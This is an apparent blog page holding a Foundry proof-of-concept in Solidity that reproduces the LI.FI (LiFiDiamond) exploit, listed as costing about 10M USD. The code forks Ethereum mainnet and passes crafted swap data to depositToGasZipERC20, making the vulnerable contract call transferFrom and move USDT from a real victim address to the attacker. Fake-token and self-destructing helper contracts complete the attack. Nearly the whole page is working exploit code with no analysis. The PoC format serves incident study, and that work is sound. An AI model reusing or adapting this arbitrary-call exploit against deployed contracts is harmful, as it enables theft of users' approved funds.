Lifiprotocol

DeeLMind大约 1 分钟

Lifiprotocol

POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo -- Total Lost : ~10M USD
// TX : https://app.blocksec.com/explorer/tx/eth/0xd82fe84e63b1aa52e1ce540582ee0895ba4a71ec5e7a632a3faa1aff3e763873
// Attacker : https://etherscan.io/address/0x8b3cb6bf982798fba233bca56749e22eec42dcf3
// Attack Contract : https://etherscan.io/address/0x986aca5f2ca6b120f4361c519d7a49c5ac50c240
// GUY : https://x.com/danielvf/status/1505689981385334784

library LibSwap {
    struct SwapData {
        address callTo;
        address approveTo;
        address sendingAssetId;
        address receivingAssetId;
        uint256 fromAmount;
        bytes callData;
        bool requiresDeposit;
    }
}
interface  LiFiDiamond{
    
   function depositToGasZipERC20(
        LibSwap.SwapData calldata _swapData,
        uint256 _destinationChains,
        address _recipient
    ) external ;

}
contract ContractTest is Test {
    IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    LiFiDiamond Vulncontract=LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address Victim=0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;
    Money money;
    function setUp() public {
        vm.createSelectFork("mainnet", 20318962);
    }

    function testExpolit() public {
        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), USDT.decimals());
        attack();
        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), USDT.decimals());


    }

    function attack() public {
        money=new Money();
        LibSwap.SwapData memory swapData = LibSwap.SwapData({
            callTo: address(USDT),
            approveTo: address(this),
            sendingAssetId: address(money),
            receivingAssetId: address(money),
            fromAmount: 1,
            callData: abi.encodeWithSelector(bytes4(0x23b872dd), address(Victim),address(this),2276295880553),
            requiresDeposit: true
        });

        Vulncontract.depositToGasZipERC20(swapData, 0, address(this));

    }
    fallback()payable external{}
}

contract Money  is Test{
    IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);
    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    LiFiDiamond Vulncontract=LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address Victim=0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;
    address other=0xF929bA2AEec16cFfcfc66858A9434E194BAaf80D;
    address owner;
    Help help;
    constructor() payable{
        owner = msg.sender;
    }
    function balanceOf(address who) external view returns (uint256){
        return 1;
    }
    function allowance(address _owner, address spender) external view returns (uint256){
        return 0;
    }

   function approve(address spender, uint256 amount) external returns (bool) {
        help=new Help();
        help.sendto{value: 1}(address(Vulncontract));
        return true;
    }
 fallback() external payable {

    }
}

contract Help  is Test{
    IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);
    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    LiFiDiamond Vulncontract=LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address Victim=0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;
    address owner;
    constructor() payable{
        owner = msg.sender;
    }
    function sendto(address who) payable external {
        (bool success, bytes memory retData)=address(Vulncontract).call{value: msg.value}("");
        require(success, "Error");
        selfdestruct(payable(msg.sender));
    }
    fallback() external payable {}
}
上次编辑于:
贡献者: DeeLMind,DeeLMind